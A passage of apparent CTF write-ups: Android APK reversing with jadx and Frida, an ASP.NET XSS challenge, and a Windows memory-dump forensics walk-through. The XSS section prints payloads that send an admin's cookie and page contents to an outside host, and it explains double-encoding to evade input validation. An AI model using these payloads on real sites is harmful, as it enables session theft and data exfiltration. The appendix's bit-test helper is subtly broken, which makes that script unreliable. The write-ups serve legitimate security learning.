So, I did some research on Android reverse engineering and discovered a tool called jadx. It decompiles .apk files into .java files and includes a nice GUI (jadx-gui) to navigate through the decompiled code.

Navigating to the class byuctf.babyandroid.MainActivity (entry point of an android application) gives us the following code:

...
button.setOnClickListener(new View.OnClickListener() {
  @Override // android.view.View.OnClickListener
  public void onClick(View view) {  
    String flagAttempt = MainActivity.this.flag.getText().toString();  
    TextView banner = (TextView)MainActivity.this.findViewById(R.id.banner);
		
    if (FlagChecker.check(flagAttempt)) {  
      banner.setText("That's the right flag!!!");  
    } else {  
      banner.setText("Nope! Try again if you'd like");  
    }
  }  
});
...

We see that "That's the right flag!!!" is printed when FlagChecker.check(flagAttempt) returns true. Double-clicking on FlagChecker gives us the decompiled code for check():

package byuctf.babyandroid;  

public class FlagChecker {  
    public static native boolean check(String str);
    
    static {  
        System.loadLibrary("babyandroid");  
    }  
}

Except it doesn’t. The check function is implemented in a library! Searching for babyandroid in the previously extracted files yields the following files:

% tree lib
lib
├── arm64-v8a
│   └── libbabyandroid.so
├── armeabi-v7a
│   └── libbabyandroid.so
├── x86
│   └── libbabyandroid.so
└── x86_64
    └── libbabyandroid.so

After throwing the x86_64 version into binaryninja the challenge is practically solved.

We observe that user_input has to be 0x17 bytes long. Then the characters of the input are checked sequentially if they match the character at index (ctr * ctr) % 0x2f of the string bycnu)_aacGly~}tt+?=<_ML?f^i_vETkG+b{nDJrVp6=)=.

Then I wrote a small script that extracts the flag from the above string:

s = b"bycnu)_aacGly~}tt+?=<_ML?f^i_vETkG+b{nDJrVp6=)="

for i in range(0, 0x17):
    idx = (i*i) % 0x2f
    print(chr(s[idx]), end='')

The flag is byuctf{c++_in_an_apk??}

Note: You can also open APKs in Ghidra, which automatically extracts and decompiles its contents.

Baby Android 1

Like in the last challenge we install the APK (named baby_android-1.apk) onto the emulator with adb install. We then see a new app named Down with the French (I have no idea what the author has against french people or how they relate to this challenge).

Apparently we were “too slow” for the flag. Starting the app again doesn’t change anything. Let’s have a look into the decompiled MainActivity (again with jadx-gui).

When the application starts onCreate is called and the function setContentView(R.layout.activity_main)¹ sets the XML layout to use for the current screen. The function argument R.layout.activity means that the XML file is located in res/layout/activity_main.xml.

Then the function creates a Utilities object and calls its method cleanUp(). Finally, the text that we see in the screenshot above is set.

package byuctf.downwiththefrench;  
  
import android.os.Bundle;  
import android.widget.TextView;  
import androidx.appcompat.app.AppCompatActivity;  
  
public class MainActivity extends AppCompatActivity {  
    @Override
    protected void onCreate(Bundle savedInstanceState) {  
        super.onCreate(savedInstanceState);  
        setContentView(R.layout.activity_main);  
        Utilities util = new Utilities(this);  
        util.cleanUp();  
        TextView homeText = (TextView) findViewById(R.id.homeText);  
        homeText.setText("Too slow!!");  
    }  
}

Looking into cleanUp() we see that this function clears the text of R.id.flagPart1 through R.id.flagPart28.

public void cleanUp() {  
	TextView flag = (TextView) this.activity.findViewById(R.id.flagPart1);  
	flag.setText("");  
	TextView flag2 = (TextView) this.activity.findViewById(R.id.flagPart2);  
	flag2.setText("");  
	TextView flag3 = (TextView) this.activity.findViewById(R.id.flagPart3);
	flag3.setText("");
	...
	TextView flag28 = (TextView) this.activity.findViewById(R.id.flagPart28);
	flag28.setText("");
}

Now we know that the flag likely has 28 characters. We can also inspect the flag parts in the aforementioned XML file.

Each TextView widget holds an unique identifier (android:id) and a flag part character (android:text)². The widgets are also constrained by android:layout_marginBottom and android:layout_marginEnd, which position the individual widgets on the screen³.

<TextView  
android:id="@+id/flagPart1"  
android:layout_width="wrap_content"  
android:layout_height="wrap_content"  
android:layout_marginBottom="420dp"  
android:text="}"  
android:layout_marginEnd="216dp"  
app:layout_constraintBottom_toBottomOf="parent"  
app:layout_constraintEnd_toEndOf="parent"/>

<TextView  
android:id="@+id/flagPart2"  
android:layout_width="wrap_content"  
android:layout_height="wrap_content"  
android:layout_marginBottom="616dp"  
android:text="t"  
android:layout_marginEnd="340dp"  
app:layout_constraintBottom_toBottomOf="parent"  
app:layout_constraintEnd_toEndOf="parent"/>

...

<TextView  
android:id="@+id/flagPart28"  
android:layout_width="wrap_content"  
android:layout_height="wrap_content"  
android:layout_marginBottom="576dp"  
android:text="{"  
android:layout_marginEnd="324dp"  
app:layout_constraintBottom_toBottomOf="parent"  
app:layout_constraintEnd_toEndOf="parent"/>

The only problem now is that the widgets aren’t in the right order (flagPart1 should be b instead of } and flagPart28 should be } instead of {).

I don’t want to arrange the characters manually in a image editing software like GIMP. The easiest solution would be to patch out the cleanUp() function.

However manually trying to patch the smali code in baby-android-1/smali_classes3/byuctf/downwiththefrench/MainActivity.smali and recompiling and resigning the apk proved to be more troublesome than expected, lol.

That’s when I remembered a tool I once used to bypass certificate pinning in Android apps.

Frida

frida is a powerful, open-source dynamic instrumentation toolkit used for inspecting, manipulating, debugging and (most importantly) hooking into running processes.

To hook the cleanUp function in our app with frida we first have to root our android emulator. When using AndroidStudio, you have two options:

• get a non google play image and run adb shell su
• get a google play enabled image and root it manually with rootAVD

Next, upload the frida-server binary (from frida releases) to the emulator and execute it⁴:

% adb push frida-server /data/local/tmp/
% adb shell "chmod 755 /data/local/tmp/frida-server"
% adb shell "/data/local/tmp/frida-server &"

Now we can write our hook.js script. As our app is written we use the Java object. The perform function ensures that the java runtime is fully initialized and our Utilities class is actually available. Then we can overwrite the implementation of the cleanUp function with our own function, that just does nothing.

// hook.js
Java.perform(function() {
    var Utilities = Java.use('byuctf.downwiththefrench.Utilities');

    Utilities.cleanUp.implementation = function() {
        console.log('cleanUp() called!');

        /* The next line would call the cleanUp
         * function. We don't want this so
         * we comment it out */
        // var result = this.cleanUp();
        // return result;
    };
});

Running the script run with frida -U -f byuctf.downwiththefrench -l hook.js starts the application and the flag is displayed.

The b of byuctf is missing but we can read the flag nevertheless: byuctf{android_piece_0f_c4k3}.

Conclusion

I really enjoyed these two challenges as they were perfect to get started in reverse engineering android applications. Along the way, I learned about smali bytecode, Java decompilation, Android app structure, and dynamic function hooking with Frida.

• CTF: Cyber Security Challenge Germany 2025
• Challenge name: cdn
• Author: norelect
• Category: web
• Difficulty: medium
• ctf-files

Challenge description

Diary Entry: February 10, 2080

Another day in the wasteland of enterprise software. The neon skyline flickers outside my window, but inside this concrete bunker of a cubicle, it’s just me, an aging keyboard, and a .NET Framework project that refuses to die. I don’t know how we got here. The world outside runs on quantum distributed neural meshes, but here I am, hammering away at legacy C# code in an IDE that barely runs on this salvaged hardware. Mono is the only thing keeping this fossil alive, and even that is held together with digital duct tape and the tears of developers long past. The system is ancient, predating even my grandparents. But the Corp won’t let us move it. “Too much risk” they say. “Legacy compatibility” they insist. They don’t see the warnings flashing in the logs like distress beacons in deep space. Reflection errors. Memory leaks. A garbage collector that might as well be a janitor sweeping an endless hallway of digital debris.

Recon

The challenge contains two directories and one docker-compose file.

% la        
0755 drwxr-xr-x 2.3k tom tom  1 Jan  1980 bot
0755 drwxr-xr-x  27M tom tom  1 Jan  1980 cdn
0644 .rw-r--r--  281 tom tom  1 Jan  1980 docker-compose.yaml

The bot folder contains scenario.js file simulates a user registering an account with random username and password, logging in and uploading the flag.

The cdn/src/CDN.Web folder contains the actual challenge.

% la cdn/src/CDN.Web
0755 drwxr-xr-x  12k tom tom  1 Jan  1980 Account
0755 drwxr-xr-x 169k tom tom  1 Jan  1980 Content
0755 drwxr-xr-x 4.1k tom tom  1 Jan  1980 Errors
0755 drwxr-xr-x 1.3k tom tom  1 Jan  1980 Properties
0644 .rw-r--r-- 3.9k tom tom  1 Jan  1980 ApplicationUser.cs
0644 .rw-r--r--  14k tom tom  1 Jan  1980 CDN.Web.csproj
0644 .rw-r--r-- 1.4k tom tom  1 Jan  1980 CDN.Web.csproj.user
0644 .rw-r--r-- 1.2k tom tom  1 Jan  1980 Contact.aspx
0644 .rw-r--r-- 2.1k tom tom  1 Jan  1980 Contact.aspx.cs
0644 .rw-r--r-- 1.1k tom tom  1 Jan  1980 Contact.aspx.designer.cs
0644 .rw-r--r-- 1.3k tom tom  1 Jan  1980 Default.aspx
0644 .rw-r--r--  568 tom tom  1 Jan  1980 Default.aspx.cs
0644 .rw-r--r--  432 tom tom  1 Jan  1980 Default.aspx.designer.cs
0644 .rw-r--r--  32k tom tom  1 Jan  1980 favicon.ico
0644 .rw-r--r-- 1.4k tom tom  1 Jan  1980 Files.aspx
0644 .rw-r--r-- 2.6k tom tom  1 Jan  1980 Files.aspx.cs
0644 .rw-r--r-- 1.7k tom tom  1 Jan  1980 Files.aspx.designer.cs
0644 .rw-r--r--   90 tom tom  1 Jan  1980 Global.asax
0644 .rw-r--r--  659 tom tom  1 Jan  1980 Global.asax.cs
0644 .rw-r--r-- 1.8k tom tom  1 Jan  1980 packages.config
0644 .rw-r--r-- 2.7k tom tom  1 Jan  1980 Site.Master
0644 .rw-r--r-- 2.6k tom tom  1 Jan  1980 Site.Master.cs
0644 .rw-r--r--  773 tom tom  1 Jan  1980 Site.Master.designer.cs
0644 .rw-r--r--  817 tom tom  1 Jan  1980 Startup.cs
0644 .rw-r--r-- 4.4k tom tom  1 Jan  1980 Web.config
0644 .rw-r--r-- 1.1k tom tom  1 Jan  1980 Web.Debug.config
0644 .rw-r--r-- 1.3k tom tom  1 Jan  1980 Web.Release.config

We see a lot of C# and .aspx files, which can only mean that we are dealing with a web application that was developed with the ASP.NET framework. From wikipedia:

ASP.NET is a server-side web-application framework designed for web development to produce dynamic web pages. It was developed by Microsoft to allow programmers to build dynamic web sites, applications and services. The name stands for Active Server Pages Network Enabled Technologies.

When starting the docker containers the application starts on localhost:9000 and presents us this view:

We can now create an account (REGISTER) and log in. When logged in we can upload a file (FILES).

Looking at the source code we see that files are not stored as actual files on the server but rather as a string in an in-memory list:

// Files.aspx.cs
public partial class Files : MvpPage<FilesViewModel>, IFilesView {
        public static readonly Dictionary<string, List<FileData>> _files = new Dictionary<string, List<FileData>>();

        ...
        
		protected void UploadFileButton_Click(object sender, EventArgs e) {
            if (!this.User.Identity.IsAuthenticated) {
                this.ErrorMessage.Text = "Only signed in users can upload files.";
                return;
            }

            if (this.FileUpload1.HasFile) {
                var username = this.User.Identity.Name;
                var data = new FileData {
                    FileName = this.FileUpload1.FileName ?? "default-filename.bin",
                    Data = "data:application/octet-stream;base64," + Convert.ToBase64String(this.FileUpload1.FileBytes)
                };
                if (!_files.ContainsKey(username)) {
                    _files[username] = new List<FileData>();
                }
                _files[username].Add(data);
                this.ListView1.DataSource = _files[username];
                this.ListView1.DataBind();
                this.ErrorMessage.Text = "File upload successful.";
            }
            else {
                this.ErrorMessage.Text = "No file attached.";
            }
        }
        ...

That means that there is likely no local file inclusion or path traversal vulnerability.

Our task becomes clear when we look at the CONTACT field. We get an input field in which we can write a link.

When hitting send with an invalid hyperlink we get the error message: Link is not relative. Admin not contacted.

When inputting / for example the page loads a bit and doesn’t return an error.

The ability to send an link to an admin in a CTF challenge is always a strong indicator that you have to get XSS (stored or reflected) and steal some cookie from the admin bot to get the flag.

Let’s get XSS!

Solution

Where XSS?!

As we have to get XSS through a link there aren’t much possibilities. The FILES tab is user-specific, so we can’t exploit it for stored XSS via the filename or similar tricks. So I played around a bit with various urls and found out that localhost:9000/something gives us a full error stack trace with a System.Web.HttpException error.

Ok cool but no XSS yet. The template for this page is in Errors/InternalServerError.aspx

<%@ Page Title="" Language="C#" MasterPageFile="~/Site.Master" AutoEventWireup="true" CodeBe>
<asp:Content ID="Content1" ContentPlaceHolderID="MainContent" runat="server">
    <h4>Something went wrong.</h4>
    <pre><%= Message %></pre>
</asp:Content>

The Message parameter comes from Errors/InternalServerError.aspx.cs:

using System;

namespace CDN.Web.Errors {
    public partial class InternalServerError : System.Web.UI.Page {
        public string Message = string.Empty;
        protected void Page_Load(object sender, EventArgs e) {
            var exc = Server.GetLastError();
            Message = exc != null ? exc.ToString() : "Something went wrong on the server side.";
            Server.ClearError();
        }
    }
}

The other error templates in the folder, namely Forbidden.aspx, PageNotFound.aspx and Unauthorized.aspx just display their corresponding error code. So InternalServerError.aspx is special by displaying a full error message.

After messing around a bit more I found the vulnerability. The url localhost:9000/?param=<b> gives us the following page:

Note that the text is bold. That means that our <b> tag from the url was interpreted as html. So we can just insert <script>alert(1)</script> and get XSS, right? Not quite. Our exploit string will be truncated to 15 characters as you see below.

I googled a bit and found a XSS payload with 19 characters that loads and executes a script (without user interaction) from a different source:

<script src=//x.yz>

This also requires a 3 letter domain. This requirement is not bypassable with weird double characters (like ㎙) or emojis (like 🤣). But it doesn’t matter anyways as we need 15 characters.

After spending a few more hours searching for short XSS payloads I noticed that the value field of my GET parameter is not the only thing that I can control. I also control the key field of the GET parameter! And even better the key field is not truncated!

Now we have our XSS location! Proof of concept with: localhost:9000/?<script>alert(1)</script>=<b>

Note that the payload won’t execute if we have a “non malicious” value field (like localhost:9000/?<script>alert(1)</script>=b). Apparently only the value field is scanned for malicious input and if there is nothing detected the error page won’t appear and nothing will be executed.

Crafting the Payload

The first javascript payload I tried was:

fetch("https://some-url.com/c=" + document.cookie)

With the key of the GET parameter properly url encoded, the exploit string looks like this:

/?%3Cscript%3Efetch%28%22https%3A%2F%2Fsome-url.com%2F%3Fc%3D%22+%2B+document.cookie%29%3C%2Fscript%3E=<b>

Sending this via the CONTACT field to the admin results in an error page.

This is because the payload is now in the Request.Form, which is scanned for malicious inputs. To prevent this from happening we can just url encode the whole payload again, so it looks like this:

%2F%3F%253Cscript%253Efetch%2528%2522https%253A%252F%252Fsome-url.com%252F%253Fc%253D%2522%2B%252B%2Bdocument.cookie%2529%253C%252Fscript%253E%3D%3Cb%3E

This will force the admin bot to send its cookie to us. The cookie we receive is

ASP.NET_SessionId=00D55F04509FF26DDDCFE6E8

Replacing our own ASP.NET_SessionId with the admins ASP.NET_SessionId logs us … not into the admin account :/

The browser stores the following cookies:

Only the ASP.NET_SessionId cookie is accessible by client-side scripts, because it is not HttpOnly. We can’t obtain the other ones with javascript, so we need a different strategy to get the flag.

CSRF

The only way to get the flag without logging in is to trick the admin bot into sending it to us. So the admin bot needs to

1. visit the FILES tab
2. get the flag
3. send it to us

This is done by the following script

<script>
  fetch("../Files.aspx")
    .then(r=>r.text())
    .then(d=>{
      fetch("some-url.com/?c="+encodeURIComponent(d).slice(4000,6000))
    })
</script>

Then we receive this HTML snippet from the admin

20 <div class="container body-content">
<div class="form-horizontal center-form">
<h2>Files</h2>
<div class="text-danger" style="color:Red;"></div>
<div class="form-group">
  <input type="file" name="ctl00$MainContent$FileUpload1" id="ctl00_MainContent_FileUpload1" />
  <input type="submit" name="ctl00$MainContent$UploadFileButton" value="Upload" id="ctl00_MainContent_UploadFileButton" class="cyberpunk red" />
</div>
</div>
<div>
<h2>Your files</h2>
<ul>
  <span id="ctl00_MainContent_ListView1">
  <li>
    <a class="cyberpunk blue" href="data:application/octet-stream;base64,ZGFjaDIwMjV7anVuaTByX2Qzdl9jMDBrM2RfdXBfczBtZV8wbGRfdDNjaG4wbG9naTNzITEyNzM4OX0=">flag.txt</a>
  </li>
  </span>
</ul>
</div>
</div>
</section>
<section class="cyberpunk dotted black">
<footer>
<span>&copy; CDN 1337 Junior Dev Project<

And we can just decode the flag from the base64 string to

dach2025{juni0r_d3v_c00k3d_up_s0me_0ld_t3chn0logi3s!127389}

This was a really fun challenge. I learned that some cookies are unreadable via client-side scripts, and that double encoding payloads can bypass input validation.

Appendix

• xss-link-generator.py

• CTF: Cyber Security Challenge Germany 2025
• Challenge name: physdump
• Author: 0x4d5a
• Category: misc
• Difficulty: medium

Challenge description

I captured a very spooky Windows malware 👻. It featured all kind of VM escapes, so I didn’t trust any established hypervisors like VMWare or VirtualBox to execute it. However, I executed it in my own hypervisor, which it didn’t knew.

With my limited hypervisor features I was only able to capture a raw physical memory and register dump. The guest OS physical memory was mapped @ 0x100000. The Windows OS is a Windwos 10 22H2 Lets go for a 🚶through various Windows kernel structures, identify the malware and get the flag!

Flagformat: dach2025{....}

Recon

The challenge gives us two files:

• mem_100000_2146435072.bin (2.1 Gigabytes)
• register_dump.txt

Content of register_dump.txt:

RAX=0000000040000010 RBX=00007ff7763402b0 RCX=0000000000000000 RDX=00007ff776330658
RSI=0000000000000000 RDI=0000027e34adb970 RBP=000000f6c493f740 RSP=000000f6c493f6c0
R8 =00007ff7763402b0 R9 =000000f6c493f5d8 R10=0000000000000011 R11=000000f6c493f6b0
R12=0000000000000000 R13=0000000000000000 R14=0000000000000000 R15=0000000000000000
RIP=00007ff7763120ba RFL=00000246 [---Z-P-] CPL=3 II=0 A20=1 SMM=0 HLT=0
ES =002b 0000000000000000 ffffffff 00c0f300 DPL=3 DS   [-WA]
CS =0033 0000000000000000 ffffffff 0020fb00 DPL=3 CS64 [-RA]
SS =002b 0000000000000000 00000000 0040f300 DPL=3 DS   [-WA]
DS =002b 0000000000000000 ffffffff 00c0f300 DPL=3 DS   [-WA]
FS =0053 0000000000000000 00003c00 0040f300 DPL=3 DS   [-WA]
GS =002b 000000f6c4b08000 ffffffff 00c0f300 DPL=3 DS   [-WA]
LDT=0000 0000000000000000 00000000 00000000
TR =0040 fffff80155868000 00000067 00008900 DPL=0 TSS64-avl
GDT=     fffff80155869fb0 00000057
IDT=     fffff80155867000 00000fff
CR0=80050033 CR2=ffffde06200f1000 CR3=000000006654b000 CR4=00310ef8
DR0=0000000000000000 DR1=0000000000000000 DR2=0000000000000000 DR3=0000000000000000 
DR6=00000000ffff0ff0 DR7=0000000000000400
CCS=0000000000000000 CCD=0000000000000000 CCO=EFLAGS
EFER=0000000000000d01
FCW=027f FSW=0000 [ST=0] FTW=00 MXCSR=00001f80
FPR0=0000000000000000 0000 FPR1=0000000000000000 0000
FPR2=0000000000000000 0000 FPR3=0000000000000000 0000
FPR4=0000000000000000 0000 FPR5=0000000000000000 0000
FPR6=0000000000000000 0000 FPR7=0000000000000000 0000
XMM00=0000000000000000 0000000200000000 XMM01=0000000000000000 0000000000000000
XMM02=0000000000000000 0000000000000000 XMM03=0000000000000000 0000000000000000
XMM04=0000000000000000 0000000000000000 XMM05=0000000000000000 0000000000000000
XMM06=0000000000000000 0000000000000000 XMM07=0000000000000000 0000000000000000
XMM08=0000000000000000 0000000000000000 XMM09=0000000000000000 0000000000000000
XMM10=0000000000000000 0000000000000000 XMM11=0000000000000000 0000000000000000
XMM12=0000000000000000 0000000000000000 XMM13=0000000000000000 0000000000000000
XMM14=0000000000000000 0000000000000000 XMM15=0000000000000000 0000000000000000
Code=e8 85 09 00 00 48 8b cb e8 1d 08 00 00 b8 10 00 00 40 33 c9 <0f> a2 48 8d 15 7d 82 02 00 e8 b8 01 00 00 48 8b d8 48 8b 08 48 63 49 04 48 03 c8 b2 0a e8

Solution

I identified two solution paths—one significantly harder than the other. Here’s both.

The hard way

First I tried to load the memory dump with volatility3. However for some reason it didn’t work and I couldn’t find anything useful online to fix the error I was getting. So let’s investigate the memory by hand!

The challenge states that we go for a walk through various windows kernel structures. So the first task for me was to find out where the kernel is in the memory dump. In the register_dump.txt we see two kinds of addresses. The ones starting with 0x7ff7 are user space addresses and the ones starting with 0xffff are kernel space addresses.

However these addresses are currently of no use for us as they are virtual addresses. We need physical addresses to find anything in our memory dump. To get a physical address we can look at the value of CR3=0x6654b000. This register holds the physical base address of the page directory (PML4). We need this address to translate virtual to physical addresses.

Virtual address translation

The address translation on x86_64 processors uses either 4- or 5-level paging. 5-level paging is only available on newer CPUs and must be enabled. I will focus on 4-level paging here because that is what is needed to solve the challenge.

4-level paging has (as the name implies) 4 different levels:

• Page map level 4 (PML4)
• Page directory pointer (PDP)
• Page directory (PD)
• Page table (PT)

The picture below (Intel SDM Volume 3, Chapter 4, Figure 5-8) describes the full translation process.

We start with our CR3 value (as that’s the base for the PML4 table) and bits [47:39] from the virtual address we are trying to translate. Adding these two values gives us the address of PML4E (E for entry). The value at this address points to the base of PDP. Adding bits [38:30] to PDP gives us PDPTE, which again points to the base of PD… I think the steps to calculate the physical address is clear now.

Following the above picture gives us a page of size 4 KB. But there also exist 2 MB and even 1 GB pages. When we have one of these larger pages the translation process fails. But why?

When translating virtual addresses of 2 MB and 1 GB pages the translation is slightly different. As we skip 1, or 2 steps respectively.

Below is the process for a 2 MB page which skips the page table and therefore has 21 bits for the last offset. We translate our virtual address like this if(and only if) bit 7 in PDE is set. Otherwise we continue our translation as usual. If bit 7 was already set in PDPTE then our resulting page will be 1 GB in size, skipping the page directory and the page table. It took me forever to figure out why my implemented virtual address translation sometimes gives out nonsense values. All the websites describing the translation skipped this step. Only when I read through the Intel SDM it clicked for me.

To validate that the address translation works I translated RIP from register_dump.txt. The address it pointed to looked like proper assembly instructions and when looking at the bottom of register_dump.txt I noticed that it is the same sequence of bytes. Great!

Identifying the “malware”

Finding a process

Every windows process is represented in the kernel by an _EPROCESS struct. This is a massive struct (0xa40 bytes for windows 22H2) that contains information like:

• UniqueProcessId
• CreateTime
• ImageFileName
• etc.. So it contains exactly the information we need to find a potentially malicious process. But how can we find such a struct in our 2 GB memory dump?

struct _EPROCESS
{
    struct _KPROCESS Pcb;                     //0x0
    struct _EX_PUSH_LOCK ProcessLock;         //0x438
    VOID* UniqueProcessId;                    //0x440
    struct _LIST_ENTRY ActiveProcessLinks;    //0x448
    ...
    struct _FILE_OBJECT* ImageFilePointer;    //0x5a0
    UCHAR ImageFileName[15];                  //0x5a8
    ...
}

The _EPROCESS struct contains the _KPROCESS struct which in turn contains DirectoryTableBase. This field holds the PML4 base address, which we already have in the register_dump.txt. Searching for this address with binwalk gives out one address.

% binwalk -R '\x00\xb0Tf\x00\x00\x00\x00' mem_100000_2146435072.bin
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
238416040     0xE35F0A8       Raw signature (\x00\xb0Tf\x00\x00\x00\x00)

To verify that 0xE35F0A8 is inside the _EPROCESS struct we subtract 0x28 to get the base of _EPROCESS. From there we add 0x5a8 to get the name of the process.

% xxd -l 96 -s 0xE35F628 mem_100000_2146435072.bin
0e35f628: 4879 7065 7263 616c 6c53 7475 6666 0002  HypercallStuff..
0e35f638: 0000 0000 0000 0000 10aa a6bd 8f88 ffff  ................
0e35f648: 88a6 6bbd 8f88 ffff d897 f3bc 8f88 ffff  ..k.............
0e35f658: 0000 ffff ff7f 0000 6855 a5bb 8f88 ffff  ........hU......
0e35f668: 6855 a5bb 8f88 ffff 0100 0000 33e2 1905  hU..........3...
0e35f678: 0100 0000 0000 0000 694d 97bd 8f88 ffff  ........iM......

Nice, this looks like the name of an actual process.

Finding more processes

The base of our “HypercallStuff” process is 0xE35F080. From there we can get to more processes via the ActiveProcessLinks list.

struct _LIST_ENTRY
{
    struct _LIST_ENTRY* Flink;       //0x0
    struct _LIST_ENTRY* Blink;       //0x8
};

Flink (or Blink) points to the next (or previous) process’ Flink (or Blink). Iterating the Blink pointer yields

HypercallStuff\x00 at 0xe35f080

MicrosoftEdgeU\x00 at 0x6043e340

conhost.exe\x00\x00\x00\x00 at 0x37175340

cyber_binary.e\x00 at 0x1defc340

SearchFilterHo\x00 at 0x1cbc9080

Cool, we have a process list!

Where is the malware?!?

At this point I was kind of stuck as I expected that the “malware” that I’m searching is somehow hiding from me. So I tried some things:

Finding processes that got unlinked from the ActiveProcessLinks list in _EPROCESS by scanning the whole memory for known fields in the _EPROCESS struct. I chose

• CreateTime: has to be sometime in january 2025
• ImageFileName: has to contain valid ascii
• Flink/Blink: has to be a valid address Checking the validity of the above fields actually gave me good results. But nothing I did not already get with just iterating Flink/Blink.

Another idea I head was scanning the processes for RWX pages as this is generally sus. I did this by walking the VadRoot tree in every _EPROCESS struct and checking vadFlags. This gave me some processes with RWX pages but these belonged to some windows antimalware programs, which are expected to have RWX pages.

The last thing I tried was checking if there is a process with a loaded DLL that has a weird name. You can find DLLs of a process by checking _EPROCESS->Peb->Ldr->InLoadOrderModuleList. However this approach also returned nothing.

Lmao, found the malware

After days of thinking about other approaches I decided to just look at the stuff I have a little bit closer. I started with getting the image base of “HypercallStuff” via _EPROCESS->SectionBaseAddress and decompiled it. I didn’t understand anything of the code so I quickly switched to the “cyber_binary” process. Decompiling this gave me some code that looked suspiciously like a xor cipher. So I wrote a small python script to decrypt it:

a = b'\x63\x9f\xbb\x9e\xd0\x25\x7c\xa7\x94\x71\x47\x53\xc2\x0f\xd1\xe9\x7b\x58\x34\x1d\x28\xe8\x4f\xa4\xdd\xcd\x53\xa1\x0a\xb3\x67\x7d\xd1\xfc\xe9\xf8\x6c\x4d\x94\x19\xa8\x39\x47\xf8\x82\xaa\x5d\x7f\xe7\x85\xd8\xa1\xc0\x5b'

b = b'\x07\xfe\xd8\xf6\xe2\x15N\x92\xef\x162`\xb1|\x8e\x90\x4b\x2d\x6b\x71\x4d\xdc\x3d\xca\xb8\xa9\x0c\xd2\x3a\xde\x02\x22\xa3\xc8\x9e\xa7\x1e\x79\xe3\x46\xda\x0d\x30\xa7\xe4\x9a\x2f\x1a\x89\xf6\xe9\xc2\xb3\x26'

for i in range(len(a)):
	print(chr(a[i] ^ b[i]), end='')

Flag: dach2025{gu3ss_y0u_le4rned_s0me_r4w_r4w_r4w_f0rens1cs}

The easy way

At the beginning of the harder solution I said that I couldn’t get volatility3 to recognize the memory dump. Turns out that prepending the dump with 1 MB zeros makes volatility3 recognize the memory dump and we can work with it. So to achieve the same as above we need two commands. First find out the PID of the process:

% python vol.py -f mem.bin windows.pslist
PID     PPID    ImageFileName   Offset(V)       ...
...
4408    388     CompatTelRunne  0x888fbc0ca340  ...
3776    4408    conhost.exe     0x888fbc528080  ...
5764    4492    SearchFilterHo  0x888fbdcd3080  ...
5164    3248    cyber_binary.e  0x888fbd55b340  ...
5132    5164    conhost.exe     0x888fbdf4e340  ...
5776    3620    MicrosoftEdgeU  0x888fbdd95340  ...
4808    3248    HypercallStuff  0x888fbd95d080  ...
3932    4808    conhost.exe     0x888fbd6ba0c0  ...
3488    2192    MpCmdRun.exe    0x888fbdda7340  ...

Then dump the image of the process with:

% vol -f mem.bin windows.dump_process --pid 5164 --dump-dir ./out

Now we can analyze the binary and get the flag!

Appendix

Virtual address translation script

import struct

def dbg_print(string, debug):
    if debug:
        print(string)

def read8(addr: int, dump: bytes) -> int:
        try:
            return struct.unpack('<Q', dump[addr:addr+8])[0]
        except Exception as e:
            return -1

def is_bit_set(value: int, bit: int) -> bool:
    """returns true if `bit` is 1 in `value`"""
    return value & (1 << bit) == 1

def present_bit_set(value: int) -> bool:
    """Returns true if the present bit (1) is set in `value`"""
    return is_bit_set(value, 0)

def ps_bit_set(value: int) -> bool:
    """returns true if the ps bit (7) is set in `value`"""
    return is_bit_set(value, 7)

# see intel sdm volume 3, chapter 4, figure 4-8, 4-9, 4-10
def resolve(virtual_addr: int, global_offset: int, pml4_base: int, mem: bytes, debug: bool) -> int:
    dbg_print(30 * '*', debug)
    pml4_offset = (virtual_addr >> 39) & 0x1FF # bits [47..39]
    pdpt_offset = (virtual_addr >> 30) & 0x1FF # bits [38..30]
    pd_offset = (virtual_addr >> 21) & 0x1FF   # bits [29..21]
    pt_offset = (virtual_addr >> 12) & 0x1FF   # bits [20..12]
    offset = virtual_addr & 0xFFF              # bits [11..0]
    dbg_print(f'* offsets: pml4:{hex(pml4_offset)}, pdpt:{hex(pdpt_offset)}, pd:{hex(pd_offset)}, pt:{hex(pt_offset)}, page:{hex(offset)}', debug)

    # Level 4: PML4
    pml4e = read8(pml4_base + (pml4_offset * 0x8) - global_offset, mem)

    # Level 3: PDPT (Page-Directory-Pointer Table)
    if not present_bit_set(pml4e):
        raise ValueError("PML4E has present bit (0) not set")
    pdpt_base = pml4e & 0xFFFFF000
    pdpte = read8(pdpt_base + (pdpt_offset * 0x8) - global_offset, mem)
    dbg_print(f'* pdpt: 0x{pml4e:016X} & 0xFFFFF000 -> *(0x{pdpt_base:016X}+8*0x{pdpt_offset:04X})=0x{pdpte:016X}', debug)
    if ps_bit_set(pdpte): # pdpte maps a 1GB page if true
        dbg_print('-> 1GB page', debug)
        page_frame = pdpte & 0xFFC0000000   # bits [51..30] of pdpte
        offset = virtual_addr & 0x3FFFFFFF  # bits [29..0] of virtual_addr
        dbg_print(30 * '*', debug)
        return page_frame + offset - global_offset 

    # Level 2: PD (Page-Directory)
    if not present_bit_set(pdpte):
        raise ValueError("PDPTE has present bit (0) not set")
    pd_base = pdpte & 0xFFFFF000
    pde = read8(pd_base + (pd_offset * 0x8) - global_offset, mem)
    dbg_print(f'* pd:   0x{pdpte:016X} & 0xFFFFF000 -> *(0x{pd_base:016X}+8*0x{pd_offset:04X})=0x{pde:016X}', debug)
    if ps_bit_set(pde): # pde maps a 2MB page if true
        dbg_print('-> 2MB page', debug)
        page_frame = pde & 0xFFFFFE00000  # bits [51..21] of pde
        offset = virtual_addr & 0x1FFFFF  # bits [20..0] of virtual_addr
        dbg_print(30 * '*', debug)
        return page_frame + offset - global_offset

    # Level 1: PT (Page)
    if not present_bit_set(pde):
        raise ValueError("PDE has present bit (0) not set")
    pt_base = pde & 0xFFFFF000
    pte = read8(pt_base + (pt_offset * 0x8) - global_offset, mem)
    dbg_print(f'* pt:   0x{pde:016X} & 0xFFFFF000 -> *(0x{pt_base:016X}+8*0x{pt_offset:04X})=0x{pte:016X}', debug)

    # Level 0: Physical Address
    if not present_bit_set(pte):
        raise ValueError("PTE has present bit (0) not set")
    page_base = pte & 0xFFFFF000
    physical_addr = page_base + offset - global_offset
    dbg_print(f'* page: 0x{pte:016X} & 0xFFFFF000 ->   0x{page_base:016X}+1*0x{offset:04X} =0x{physical_addr:0X}', debug)
    dbg_print('-> 4KB page', debug)
    dbg_print(30 * '*', debug)

    return physical_addr